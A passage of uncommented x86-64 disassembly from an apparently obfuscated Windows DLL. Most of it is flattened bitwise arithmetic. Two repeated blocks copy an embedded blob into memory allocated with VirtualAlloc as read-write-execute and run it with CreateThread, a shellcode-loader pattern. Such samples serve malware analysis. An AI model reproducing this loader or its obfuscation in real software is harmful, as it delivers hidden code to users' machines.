and bl, al
mov esi, ebx
xor sil, 1
xor bl, cl
or sil, al
xor sil, 1
or sil, bl
xor sil, r9b
mov byte [rsp + 0x38], sil
movzx r13d, byte [rsp + 0x54]
xor r13b, 1
movzx ecx, byte [rsp + 0x40]
mov eax, ecx
xor al, r13b
or r13b, cl
xor r13b, 1
or r13b, al
mov edx, r13d
xor dl, 1
mov byte [rsp + 0x40], dl
movzx ecx, byte [rsp + 0x32]
xor cl, 1
movzx r8d, byte [rsp + 0x58]
or r8b, byte [rsp + 0x3f]
mov eax, ecx
and al, r8b
xor r8b, cl
or r8b, al
mov eax, r8d
xor al, 1
and r8b, al
mov ecx, eax
and cl, r8b
xor r8b, al
or r8b, cl
mov eax, r13d
xor al, dl
mov r12d, eax
xor r12b, r13b
and r12b, al
movzx ebx, byte [rsp + 0x5c]
mov r14d, ebx
xor r14b, 1
mov edi, r8d
xor dil, 1
mov ecx, r8d
or cl, dil
mov byte [rsp + 0x44], cl
mov eax, r8d
xor al, cl
mov r10d, r8d
or r10b, cl
xor r10b, 1
or r10b, al
mov eax, r10d
xor al, 1
and r10b, al
mov ecx, eax
and cl, r10b
xor r10b, al
or r10b, cl
movzx r11d, byte [rsp + 0x50]
or r11b, byte [rsp + 0x34]
mov ebp, r12d
xor bpl, 1
mov edx, ebp
or dl, r12b
mov eax, ebx
mov r15d, ebx
or al, r14b
mov ebx, edx
xor bl, bpl
mov r9d, ebx
xor r9b, 1
and dl, bpl
or dl, bl
xor bl, dl
or dl, r9b
mov ecx, eax
xor cl, 1
xor bl, 1
xor dl, 1
or dl, bl
and cl, al
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov ebx, ecx
xor bl, 1
mov r9d, r15d
and bl, r15b
and cl, r14b
or cl, bl
mov ebx, eax
and bl, r15b
xor al, r15b
or al, bl
xor al, 1
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ecx, edx
xor cl, 1
and dl, cl
mov ebx, ecx
and bl, dl
xor dl, cl
xor sil, 1
mov byte [rsp + 0x34], sil
or dl, bl
mov ebx, edx
and dl, al
xor al, 1
xor bl, 1
and bl, al
mov r15d, r10d
xor r15b, 1
or dl, bl
mov eax, r11d
xor al, 1
and r9b, r12b
mov ebx, ebp
xor bl, r14b
and bl, bpl
and bpl, r14b
or bpl, r9b
mov ecx, ebx
and cl, bpl
xor bpl, bl
or bpl, cl
xor bpl, dl
mov ecx, ebp
xor cl, 1
and bpl, dl
mov edx, ebp
and dl, cl
xor bpl, cl
or bpl, dl
mov ecx, eax
xor cl, r11b
and r11b, al
xor r11b, 1
mov edx, eax
xor dl, r11b
or r11b, al
xor r11b, 1
or r11b, dl
mov edx, r15d
or dl, r10b
mov r9d, edx
xor r9b, r10b
mov r14d, r11d
xor r14b, 1
and cl, al
or dl, r15b
xor dl, 1
xor r9b, 1
mov eax, edx
and al, r9b
xor r9b, dl
or r9b, al
mov eax, ecx
xor al, 1
or cl, al
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
xor cl, 1
mov edx, r9d
xor dl, cl
or cl, r9b
xor cl, 1
xor dl, 1
and dl, r9b
mov eax, ecx
and al, dl
xor dl, cl
or dl, al
and r14b, r15b
and r10b, r11b
or r10b, r14b
mov eax, r15d
xor al, r11b
or r11b, r15b
xor r11b, 1
or r11b, al
xor r11b, 1
mov eax, r10d
and al, r11b
xor r11b, r10b
or r11b, al
mov ebx, r11d
xor bl, 1
mov eax, ebx
and al, r11b
xor bl, al
xor al, 1
or al, r11b
xor al, 1
or al, bl
mov ebx, eax
xor bl, 1
mov ecx, ebx
and cl, al
xor cl, 1
mov r10d, eax
xor r10b, cl
or cl, al
xor cl, 1
or cl, r10b
mov eax, ecx
and al, dl
xor dl, 1
xor cl, 1
and cl, dl
or cl, al
mov eax, edx
and al, bl
xor dl, bl
or dl, al
xor cl, 1
mov eax, ecx
xor al, dl
or cl, dl
xor cl, 1
or cl, al
mov r10d, ebp
xor r10b, 1
mov edx, r10d
and dl, bpl
mov ebx, r10d
xor bl, dl
xor dl, 1
or dl, bpl
xor dl, 1
or dl, bl
mov ebx, edx
xor bl, 1
or bl, dl
mov r14d, ebx
xor r14b, 1
mov edx, ecx
xor dl, 1
mov eax, edx
or al, cl
xor al, 1
and bpl, bl
or bl, r10b
xor bl, 1
and r14b, r10b
or r14b, bpl
mov r10d, ebx
and r10b, r14b
xor r14b, bl
or r14b, r10b
mov ebx, eax
xor bl, dl
and dl, cl
mov r10d, edx
and r10b, cl
xor dl, cl
or dl, r10b
xor dl, al
xor bl, 1
or al, cl
xor al, 1
or al, bl
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
xor r14b, 1
mov r10d, eax
xor r10b, r14b
xor r10b, 1
and r10b, al
or r14b, al
mov eax, r10d
xor al, r14b
xor r10b, 1
xor al, 1
or r10b, r14b
xor r10b, 1
or r10b, al
mov eax, r13d
movzx r9d, byte [rsp + 0x40]
or al, r9b
mov edx, eax
xor dl, 1
xor dil, r8b
and dil, r8b
mov ebx, edi
movzx esi, byte [rsp + 0x44]
and dil, sil
xor sil, 1
and dl, r13b
mov ecx, eax
and cl, r9b
or cl, dl
mov edx, eax
and dl, r13b
xor al, r13b
or al, dl
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
xor bl, 1
mov ecx, esi
xor cl, bl
and cl, sil
and bl, sil
or bl, dil
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
mov ecx, eax
xor cl, 1
mov edx, ecx
and dl, al
xor cl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, cl
xor dl, bl
mov eax, r13d
xor al, r8b
and al, r13b
xor r8b, r9b
mov ecx, eax
xor cl, 1
xor al, r8b
xor r8b, 1
or r8b, cl
xor r8b, 1
or r8b, al
mov eax, r8d
xor al, 1
and al, dl
xor dl, 1
mov ecx, edx
xor cl, r8b
and cl, dl
and r8b, dl
or r8b, al
mov eax, ecx
xor al, 1
xor cl, r8b
xor r8b, 1
or r8b, al
xor r8b, 1
or r8b, cl
mov eax, r8d
xor al, 1
mov ecx, eax
and cl, r8b
mov edx, ecx
xor dl, 1
or dl, r8b
mov ebx, r8d
or bl, al
xor bl, 1
xor cl, al
xor dl, 1
or dl, cl
xor dl, bl
mov r8d, edx
xor r8b, 1
mov ecx, eax
xor cl, bl
or bl, al
xor bl, 1
or bl, cl
xor dl, bl
xor dl, 1
or bl, r8b
xor bl, 1
or bl, dl
mov eax, ebx
xor al, 1
mov ecx, eax
and cl, bl
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov edx, ecx
xor dl, 1
and al, cl
and dl, bl
or dl, al
xor dl, 1
or dl, cl
xor dl, 1
mov eax, r10d
xor al, dl
or dl, r10b
xor dl, 1
or dl, al
mov ecx, edx
xor cl, 1
mov ebx, eax
xor bl, 1
and al, dl
or dl, bl
and bl, cl
or bl, al
mov eax, edx
xor al, bl
xor bl, 1
xor al, 1
or bl, dl
xor bl, 1
or bl, al
mov r10d, ebx
xor r10b, 1
mov edx, r10d
and dl, bl
mov eax, r10d
and al, dl
xor dl, r10b
or dl, al
mov eax, edx
xor al, 1
mov r8d, r10d
and r8b, al
and dl, bl
or dl, r8b
xor dl, 1
or dl, al
xor dl, 1
mov eax, r10d
xor al, dl
mov ecx, edx
xor cl, bl
or bl, al
xor cl, 1
and cl, dl
and al, r10b
xor cl, 1
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
xor al, 1
mov ecx, ebx
or cl, al
xor al, bl
mov edx, ecx
xor dl, al
xor al, 1
xor dl, 1
or al, cl
xor al, 1
or al, dl
mov ebx, eax
xor bl, 1
mov edx, eax
and dl, bl
mov ecx, edx
and cl, al
xor dl, al
or dl, cl
mov ecx, ebx
or cl, al
xor cl, 1
mov r8d, edx
and r8b, cl
xor cl, dl
or cl, r8b
mov edx, ecx
xor dl, 1
and dl, bl
and al, cl
or al, dl
mov edx, eax
xor dl, cl
or al, cl
xor al, 1
or al, dl
mov ebp, eax
xor bpl, 1
movzx edx, byte [rsp + 0x34]
mov ebx, edx
movzx r8d, byte [rsp + 0x38]
and bl, r8b
mov ecx, edx
and cl, bl
mov edi, edx
xor dil, bl
or cl, dil
xor cl, 1
or dl, r8b
mov r11d, r8d
mov r9d, ecx
or r9b, dl
xor dl, cl
xor dl, 1
mov r8d, r9d
xor r8b, dl
or dl, r9b
xor dl, 1
or dl, r8b
mov ecx, edx
mov esi, ebp
and sil, al
mov edx, eax
and dl, sil
xor sil, al
or sil, dl
or bpl, al
mov eax, esi
xor al, bpl
xor bpl, 1
mov edx, esi
xor dl, bpl
xor al, 1
or bpl, sil
xor bpl, 1
or bpl, al
xor bpl, 1
mov eax, edx
and al, bpl
xor bpl, dl
or bpl, al
mov r15d, ecx
mov byte [rsp + 0x34], cl
mov r10d, ecx
xor r10b, 1
mov r12d, ecx
and r12b, r10b
xor r15b, r10b
or r15b, r12b
mov r8d, r15d
xor r8b, 1
xor bl, 1
or bl, r11b
xor bl, 1
or bl, dil
mov edx, ebx
xor dl, 1
mov ecx, ebx
and cl, dl
mov r11d, ecx
and r11b, bl
xor cl, bl
or cl, r11b
or dl, bl
xor dl, 1
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov ecx, edx
xor cl, 1
mov ebx, ecx
and bl, dl
xor cl, bl
xor bl, 1
or bl, dl
xor bl, 1
or bl, cl
mov eax, ebx
xor al, 1
mov ecx, ebp
xor cl, 1
mov r11d, ecx
and r11b, bpl
xor cl, r11b
xor r11b, 1
mov edx, ebp
or dl, r11b
xor dl, 1
mov byte [rsp + 0x38], dl
or cl, dl
mov edx, ecx
xor dl, 1
mov edi, ecx
xor dil, dl
or dl, cl
xor dl, 1
or dl, dil
mov edi, edx
xor dil, 1
mov r14d, esi
xor r14b, 1
mov ecx, r8d
or cl, r15b
mov r13d, ecx
xor r13b, 1
or al, bl
and r13b, r8b
mov r8d, r15d
xor r8b, cl
and r8b, r15b
and cl, r15b
or cl, r13b
mov r13d, r8d
and r13b, cl
xor cl, r8b
or cl, r13b
mov r8d, ebx
or r8b, al
xor r8b, 1
xor al, bl
mov r13d, r8d
and r13b, al
xor al, r8b
or al, r13b
mov r8d, eax
xor r8b, 1
or r8b, cl
xor cl, 1
or cl, al
mov eax, r8d
xor al, cl
or cl, r8b
xor cl, 1
or cl, al
xor bl, r15b
and r15b, bl
xor bl, 1
mov eax, r15d
and al, bl
xor bl, r15b
or bl, al
mov r8d, ecx
xor r8b, 1
mov eax, ecx
and al, r8b
mov r15d, eax
xor r15b, 1
xor al, cl
or r15b, r8b
xor r15b, 1
or r15b, al
mov r13d, r15d
and r15b, bl
xor r8b, bl
mov eax, ebx
xor al, 1
xor r13b, 1
and r13b, al
or r15b, r13b
or al, cl
xor al, 1
or al, r8b
xor al, 1
mov ecx, r15d
and cl, al
xor al, r15b
or al, cl
mov ebx, edx
and bl, dil
mov ecx, edx
and cl, bl
xor bl, dl
or bl, cl
mov r15d, ebx
xor r15b, 1
mov ecx, r15d
or cl, bl
and dil, cl
xor cl, 1
mov r13d, r14d
xor r13b, sil
and r13b, r14b
mov r9d, ecx
xor r9b, dl
and r9b, cl
and cl, dl
mov r8d, ebx
xor r8b, r14b
and r8b, bl
and bl, r14b
or r14b, sil
or cl, dil
xor r9b, 1
xor cl, 1
mov edi, r9d
xor dil, cl
or cl, r9b
mov edx, r13d
and r13b, r14b
xor r14b, 1
xor cl, 1
or cl, dil
xor dl, 1
mov r9d, r14d
xor r9b, dl
and r9b, r14b
and dl, r14b
or dl, r13b
mov edi, r9d
xor dil, 1
xor r9b, dl
xor dl, 1
or dl, dil
xor dl, 1
or dl, r9b
mov r9d, ecx
xor r9b, 1
mov edi, r9d
and dil, cl
xor r9b, dil
xor dil, 1
or dil, cl
mov ecx, edx
xor cl, 1
and dl, cl
xor dil, 1
or dil, r9b
mov r9d, ecx
and r9b, dl
xor dl, cl
or dl, r9b
mov ecx, edi
xor cl, 1
and cl, dl
xor dl, 1
and dl, dil
or dl, cl
and r15b, sil
or bl, r15b
xor r8b, 1
xor bl, 1
mov ecx, r8d
xor cl, bl
or bl, r8b
xor bl, 1
or bl, cl
xor dl, 1
mov ecx, edx
or cl, bl
xor cl, 1
xor dl, bl
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov ecx, edx
xor cl, 1
mov ebx, ecx
xor bl, al
or bl, cl
and dl, cl
mov r8d, ecx
and r8b, dl
xor dl, cl
or dl, r8b
mov ecx, eax
xor cl, 1
and al, dl
xor dl, 1
and dl, cl
or dl, al
xor dl, 1
or dl, cl
mov eax, edx
xor al, 1
and al, bl
xor bl, 1
mov ecx, ebx
xor cl, dl
and cl, bl
and dl, bl
or dl, al
mov eax, ecx
and al, dl
xor dl, cl
or dl, al
mov eax, r10d
and al, r12b
xor r12b, r10b
or r12b, al
xor r11b, bpl
or r11b, byte [rsp + 0x38]
mov eax, r12d
xor al, 1
or r10b, byte [rsp + 0x34]
xor r10b, r12b
and r12b, r10b
xor r12b, 1
mov ecx, r12d
xor cl, r10b
or r12b, r10b
xor r12b, 1
or r12b, cl
xor r12b, 1
mov ecx, r11d
xor cl, r12b
xor cl, 1
and cl, r11b
or r12b, r11b
xor r11b, 1
xor r12b, 1
mov ebx, ecx
and bl, r12b
xor r12b, cl
or r12b, bl
mov ecx, eax
or cl, r11b
xor cl, 1
xor r11b, al
mov eax, ecx
and al, r11b
xor r11b, cl
or r11b, al
mov eax, r11d
xor al, 1
and r11b, al
xor r11b, 1
mov ecx, eax
xor cl, r11b
or r11b, al
xor r11b, 1
or r11b, cl
mov ecx, r11d
and cl, r12b
mov ebx, r12d
xor bl, al
or al, r12b
xor r12b, 1
xor r11b, 1
and r11b, r12b
or r11b, cl
xor al, 1
or al, bl
xor al, 1
mov ecx, r11d
and cl, al
xor al, r11b
or al, cl
mov ecx, eax
xor cl, 1
mov ebx, eax
and bl, cl
mov r8d, eax
and r8b, bl
xor bl, al
or bl, r8b
or cl, al
mov eax, ebx
xor al, cl
or cl, bl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
or cl, al
xor cl, 1
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, ecx
xor al, 1
and cl, al
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov ebx, ecx
xor bl, 1
mov r9d, edx
xor r9b, 1
mov r8d, r9d
xor r8b, bl
xor r8b, 1
mov eax, r8d
xor al, r9b
and al, r8b
and r9b, cl
and bl, dl
or bl, r9b
mov ecx, eax
xor cl, 1
xor al, bl
xor bl, 1
or bl, cl
mov ecx, ebx
xor cl, al
test cl, 1
mov ecx, 0x90f2b0ab
mov edx, 0xfcadb58b
cmovne ecx, edx
test al, 1
mov eax, ecx
mov edx, 0x90f2b0ab
cmovne eax, edx
test bl, 1
cmovne eax, ecx
jmp 0x180001050
mov r8d, 0x4b031
lea rsi, [rsp + 0x70]
mov rcx, rsi
lea rdx, [0x1800322c0]
call fcn.180027dd0
mov edx, 0x4b031
xor ecx, ecx
mov r8d, 0x1000
mov r9d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
mov r8d, 0x4b031
mov rcx, rax
mov rdx, rsi
call fcn.180027dd0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor ecx, ecx
xor edx, edx
mov r8, rbx
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 0xf625e900
jmp 0x180001050
mov r8d, 0x4b031
lea rsi, [rsp + 0x70]
mov rcx, rsi
lea rdx, [0x1800322c0]
call fcn.180027dd0
mov edx, 0x4b031
xor ecx, ecx
mov r8d, 0x1000
mov r9d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
mov r8d, 0x4b031
mov rcx, rax
mov rdx, rsi
call fcn.180027dd0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor ecx, ecx
xor edx, edx
mov r8, rbx
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, dword [0x180087b94]
lea edi, [rax - 1]
imul edi, eax
mov r9d, edi
not r9d
mov r8d, r9d
and r8d, 0xb9ff35b1
mov r10d, r9d
and r10d, edi
mov r15d, edi
mov eax, edi
mov r11d, edi
xor r11d, 0xe4b739ad
and r11d, edi
mov r12d, edi
mov r13d, edi
mov r14d, edi
mov ebp, edi
xor ebp, 0xd37cdc00
and ebp, edi
and edi, 0x4600ca4e
or edi, r8d
mov ebx, edi
xor ebx, 0x200c24a
xor edi, 0xb9ff35b1
mov edx, r10d
not edx
mov ecx, edi
and ecx, 0xe4840914
and ebx, 0x1b7bf6eb
or ebx, ecx
or edi, edx
and edx, 0xe4840914
and r10d, 0x1b7bf6eb
or r10d, edx
xor r10d, ebx
not edi
or edi, r10d
mov ecx, edi
not ecx
and ecx, 0x60ec9ad0
and edi, 0x9f13652f
or edi, ecx
mov ecx, edi
xor ecx, 0x9f13652f
xor edi, 0x408482c0
and edi, 0xcb87a7e5
mov edx, ecx
and edx, 0x3478581a
or edx, edi
xor edx, 0x4e980c31
and ecx, 0x851fabd4
or ecx, edx
mov edx, ecx
not edx
mov ebx, r9d
and ebx, 0xd6992cdd
and r15d, 0x2966d322
or r15d, ebx
mov ebx, r15d
xor ebx, 0x28605022
and ebx, 0x7ae0542b
xor r15d, 0x53868709
or r15d, ebx
mov ebx, r15d
not ebx
and ebx, 0xd300b359
and r15d, 0x2cff4ca6
or r15d, ebx
mov r8d, r15d
xor r8d, 0xc5b08a6
xor r15d, 0xd300b359
mov edi, ecx
and edi, 0xdf23d6a2
and edx, 0x20dc295d
or edx, edi
mov edi, edx
xor edi, 0x20dc295d
xor edx, 0x92784d4c
and edx, edi
or ecx, 0x4d5b9bee
mov esi, ecx
not esi
or r8d, 0xb2a46411
mov ebx, edx
not ebx
mov r10d, ebx
and r10d, 0xd39ae9d9
and edx, 0x2c651626
or edx, r10d
mov r10d, r8d
not r10d
or ebx, ecx
and ecx, 0xd39ae9d9
and esi, 0x20240400
or esi, ecx
mov ecx, edi
and ecx, r15d
xor edi, r15d
or r15d, 0x4d5b9bee
xor esi, edx
mov edx, r15d
not edx
not ebx
or ebx, esi
and r8d, 0x32fe6f5a
and r10d, 0x4d0190a4
or r10d, r8d
and r15d, 0x32fe6f5a
and edx, 0x80000001
or edx, r15d
xor edx, r10d
mov esi, ebx
not esi
and esi, 0x7e6376f4
and ebx, 0x819c890b
or ebx, esi
mov esi, edx
not esi
and esi, 0x7e6376f4
and edx, 0x819c890b
or edx, esi
xor edx, ebx
or edi, ecx
mov ecx, edi
not ecx
mov ebx, edx
not ebx
mov esi, ebx
and esi, 0xf738a7e
and edx, 0xf08c7581
or edx, esi
or ebx, edi
and edi, 0xf738a7e
and ecx, 0xf08c7581
or ecx, edi
xor ecx, edx
not ebx
or ebx, ecx
mov edi, ebx
not edi
or ebx, 0x5635c415
mov edx, ebx
not edx
or edi, 0xa9ca3bea
mov ecx, edi
not ecx
and ebx, 0x379fa740
and edx, 0x884018aa
or edx, ebx
and edi, 0x379fa740
and ecx, 0x40204015
or ecx, edi
xor ecx, edx
mov edx, ecx
not edx
and edx, 0x2cd5903e
and ecx, 0xd32a6fc1
or ecx, edx
mov ebx, ecx
not ebx
mov edx, ebx
and edx, 0x1334e2f5
and ecx, 0xeccb1d0a
or ecx, edx
mov edi, ecx
xor edi, 0x810002
xor ecx, 0x344064
or ebx, 0x1ebdc166
mov edx, ebx
not edx
or ecx, 0x40423889
and ecx, 0x4c7e79ed
and edi, 0x12818002
or edi, ecx
and ebx, 0x4c7e79ed
and edx, 0xa1000610
or edx, ebx
xor edx, edi
mov ecx, edx
not ecx
and ecx, 0x14465a23
and edx, 0xebb9a5dc
or edx, ecx
mov ecx, edx
xor ecx, 0xf50464ba
xor edx, 0xafb9b45
and ecx, edx
mov ebx, ecx
and ebx, edx
xor ecx, edx
or ecx, ebx
mov esi, ecx
not esi
mov ebx, esi
and ebx, 0x2925b86d
and ecx, 0xd6da4792
or ecx, ebx
xor ecx, 0x2925b86d
xor esi, ecx
and esi, ecx
mov ecx, r9d
and ecx, 0x33414e32
and eax, 0xccbeb1cd
or eax, ecx
mov ecx, eax
xor ecx, 0xc0262005
xor eax, 0x20010820
or eax, 0x1b48c652
mov ebx, r11d
not ebx
mov edi, eax
and edi, 0x3c98dda8
and ecx, 0xc0272005
or ecx, edi
or eax, ebx
and ebx, 0x3c98dda8
and r11d, 0xc3672257
or r11d, ebx
xor r11d, ecx
not eax
or eax, r11d
mov ecx, eax
not ecx
and ecx, 0x2ab7d90f
and eax, 0xd54826f0
or eax, ecx
mov ecx, eax
xor ecx, 0x31ff1f5d
xor eax, 0xce00e0a2
mov ebx, ecx
and ebx, eax
xor eax, ecx
or eax, ebx
mov ecx, eax
not ecx
mov ebx, ecx
and ebx, 0xcdafe17f
and ecx, eax
and eax, 0x32501e80
or eax, ebx
mov ebx, eax
xor ebx, 0x30401a00
xor eax, 0xcdafe17f
mov edi, ecx
not edi
mov edx, eax
and edx, 0xc63124bd
and ebx, 0x39cedb42
or ebx, edx
or eax, edi
and edi, 0xc63124bd
and ecx, 0x39cedb42
or ecx, edi
xor ecx, ebx
not eax
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x600632df
and eax, 0x9ff9cd20
or eax, ecx
mov edi, eax
xor edi, 0x9ff10520
xor eax, 0x402d4
and eax, 0xccad4
and edi, 0xfff3352b
or edi, eax
mov eax, edi
xor eax, 0xccad4
mov edx, esi
not edx
mov ecx, edx
and ecx, eax
mov ebx, edx
xor ebx, eax
or ebx, ecx
mov r8d, ebx
not r8d
and edx, 0xdd69d597
and esi, 0x22962a68
or esi, edx
xor edi, 0x229ae0bc
and edi, eax
or eax, 0xdd69d597
mov edx, eax
not edx
mov ecx, edi
not ecx
mov r10d, ecx
and r10d, 0x5ad666ec
and edi, 0xa5299913
or edi, r10d
or ecx, eax
and eax, 0x5ad666ec
and edx, 0x20000800
or edx, eax
xor edx, edi
not ecx
or ecx, edx
mov eax, esi
not eax
and eax, ecx
not ecx
and ecx, esi
or ecx, eax
mov edx, ebx
and edx, 0x38ccab6f
xor ebx, 0x8f5bcecb
and ebx, r8d
mov eax, r8d
and eax, 0xc7335490
or eax, edx
mov r8d, eax
xor r8d, 0xc7335490
mov edi, ecx
mov esi, ecx
xor esi, 0x70a43134
and esi, ecx
not ecx
and ecx, 0xad7f9752
and edi, 0x528068ad
or edi, ecx
mov ecx, edi
xor ecx, 0x528068ad
mov edx, eax
xor edx, 0x48689a5b
and edx, r8d
xor edi, 0xad7f9752
mov r10d, ecx
and r10d, 0x70a43134
mov r11d, edx
and r11d, ebx
xor ebx, edx
or ebx, r11d
mov edx, r10d
and edx, esi
xor esi, r10d
or esi, edx
mov edx, ebx
not edx
and edx, esi
not esi
and esi, ebx
or esi, edx
xor eax, 0x38ccab6f
mov edx, eax
and edx, 0x1e57e884
and r8d, 0xe1a8177b
or r8d, edx
or eax, edi
and edi, 0x1e57e884
and ecx, 0xe1a8177b
or ecx, edi
xor ecx, r8d
not eax
or eax, ecx
not eax
mov ecx, esi
and ecx, eax
xor eax, esi
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x3675890b
and eax, 0xc98a76f4
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xc98a76f4
and eax, 0x3675890b
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x1cdcd897
and eax, 0xe3232768
or eax, ecx
mov ecx, eax
xor ecx, 0x222328
xor eax, 0x1cdcd897
and ecx, 0x10fa2bbf
mov edx, eax
and edx, 0xef05d440
or edx, ecx
mov ecx, edx
xor ecx, 0xef05d440
xor edx, 0x10fa2bbf
or edx, ecx
and ecx, 0x803992f5
and eax, 0x7fc66d0a
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x803992f5
and eax, 0x7fc66d0a
or eax, ecx
mov ecx, edx
not ecx
and ecx, 0x797f37de
and edx, 0x8680c821
or edx, ecx
mov ecx, edx
xor ecx, 0x80c800
mov ebx, eax
not ebx
xor edx, 0x797f37de
mov edi, ebx
and edi, 0xee3835fd
and eax, 0x11c7ca02
or eax, edi
or ebx, edx
and edx, 0xee3835fd
and ecx, 0x11c7ca02
or ecx, edx
xor ecx, eax
not ebx
or ebx, ecx
mov eax, ebx
not eax
mov ecx, eax
and ecx, 0x22a5ef8a
mov edx, ebx
and edx, 0xdd5a1075
or edx, ecx
mov edi, edx
xor edi, 0xdd5a1075
xor edx, 0x2240402
and edx, 0x83340466
mov ecx, edi
and ecx, 0x7ccbfb99
or ecx, edx
xor ecx, 0x7ccbfb99
or ecx, edi
mov edi, ecx
not edi
and eax, 0x65cf6197
and ebx, 0x9a309e68
or ebx, eax
mov eax, ebx
xor eax, 0x9208
xor ebx, 0x414a4107
and ebx, 0xdb7a4d67
and eax, 0x2485b298
or eax, ebx
mov ebx, eax
xor ebx, 0x1404d24
xor eax, 0x2401a000
and ebx, 0x1c45fbc
and eax, 0xfe3ba043
or eax, ebx
mov ebx, eax
xor ebx, 0xf8312001
xor eax, 0x1c45fbc
mov edx, edi
xor edx, eax
and edx, edi
and ecx, 0x68a9cfa
and edi, 0xf9756305
or edi, ecx
and eax, 0x68a9cfa
and ebx, 0xf9756305
or ebx, eax
xor ebx, edi
mov eax, edx
not eax
mov ecx, ebx
not ecx
mov edi, eax
and edi, 0x1c3decdd
and edx, 0xe3c21322
or edx, edi
or eax, ecx
and ecx, 0x1c3decdd
and ebx, 0xe3c21322
or ebx, ecx
xor ebx, edx
not eax
or eax, ebx
mov ecx, eax
mov edx, eax
xor edx, 0x3b0d695
and edx, eax
not eax
and eax, 0x4716a337
and ecx, 0xb8e95cc8
or ecx, eax
mov eax, ecx
xor eax, 0x801480
xor ecx, 0x3108215
or ecx, 0xfc4f296a
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x1e266a7b
and eax, 0x1909484
or eax, edi
or ecx, ebx
and ebx, 0x1e266a7b
and edx, 0xe1d99584
or edx, ebx
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0xfc4f296a
and ecx, 0x3b0d695
or ecx, eax
mov eax, ecx
not eax
and eax, 0xfe4d8a02
and ecx, 0x1b275fd
or ecx, eax
mov eax, ecx
xor eax, 0xfe4d8a02
xor ecx, 0x226404
and ecx, 0x702aec06
mov edx, eax
and edx, 0x82110081
or edx, ecx
xor edx, 0x82110081
and eax, 0xdc41378
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x8fe906f
and eax, 0xf7016f90
or eax, ecx
mov edi, eax
xor edi, 0x4328301
xor eax, 0xba803c28
and eax, 0xbb883c3e
and edi, 0x4477c3c1
or edi, eax
mov r15d, edi
xor r15d, 0x4477c3c1
mov r11d, edi
xor r11d, 0xbb883c3e
mov eax, r9d
and eax, 0x72405e7
and r12d, 0xf8dbfa18
or r12d, eax
mov eax, r12d
xor eax, 0x98595200
xor r12d, 0x2040562
and r12d, 0x6286ad7a
and eax, 0x9d795285
or eax, r12d
mov ecx, eax
xor ecx, 0x822c38
xor eax, 0x1314080
and eax, 0x6335c1c2
and ecx, 0x9cca3e3d
or ecx, eax
mov eax, ecx
xor eax, 0x94c20e15
xor ecx, 0x61110002
and ecx, 0x6919302a
and eax, 0x96e6cfd5
or eax, ecx
mov ecx, eax
xor ecx, 0x96e6cfd5
xor eax, 0x6919302a
mov esi, r9d
and esi, 0x64d85712
and r13d, 0x9b27a8ed
or r13d, esi
mov ebx, r13d
xor ebx, 0x9b27a8ed
xor r13d, 0x4d80712
and r13d, 0x14de277e
mov esi, ebx
and esi, 0xeb21d881
or esi, r13d
xor esi, 0xeb21d881
or esi, ebx
mov ebx, esi
not ebx
and ebx, eax
mov eax, ecx
xor eax, esi
and eax, ecx
and esi, ecx
or esi, ebx
mov ecx, eax
and ecx, esi
xor esi, eax
or esi, ecx
mov eax, esi
not eax
and eax, 0x976923b0
and esi, 0x6896dc4f
or esi, eax
mov eax, esi
xor eax, 0x4090c400
xor esi, 0x976923b0
and r9d, 0x5278dc00
and r14d, 0x81040000
or r14d, r9d
xor r14d, 0x81040000
mov ecx, r14d
and ecx, ebp
xor ebp, r14d
or ebp, ecx
mov ecx, ebp
not ecx
and ecx, 0xad523bfa
and ebp, 0x52adc405
or ebp, ecx
mov ecx, ebp
xor ecx, 0x1d10000
xor ebp, 0x7e2ee7fa
mov ebx, esi
or ebx, ebp
mov edx, ebx
not edx
and esi, 0xba0e39cf
and eax, 0x45f1c630
or eax, esi
and ebp, 0xba0e39cf
and ecx, 0x45f1c630
or ecx, ebp
xor ecx, eax
mov eax, ecx
not eax
mov ebp, ebx
and ebp, 0x334d4011
and edx, 0xccb2bfee
or edx, ebp
or ebx, eax
and eax, 0x334d4011
and ecx, 0xccb2bfee
or ecx, eax
xor ecx, edx
not ebx
or ebx, ecx
mov eax, ebx
not eax
and eax, 0x22791854
and ebx, 0xdd86e7ab
or ebx, eax
mov ecx, ebx
xor ecx, 0x5006e5a3
xor ebx, 0x2481850
and ebx, 0x8fc81a58
and ecx, 0x7037e5a7
or ecx, ebx
mov eax, ecx
xor eax, 0x89481a50
xor ecx, 0x20146007
and ecx, 0x2694600f
and eax, 0xd96b9ff0
or eax, ecx
mov r9d, eax
xor r9d, 0xd96b9ff0
mov r10d, eax
xor r10d, 0x2694600f
mov ecx, r15d
and ecx, 0x9e9ad9a9
mov edx, r11d
and edx, 0x61652656
or edx, ecx
mov r14d, edx
xor r14d, 0x61652656
mov r8d, r11d
or r8d, r15d
mov ebx, r8d
not ebx
xor edx, 0x14085188
and edx, 0x744d739e
mov ecx, r14d
and ecx, 0x8bb28c61
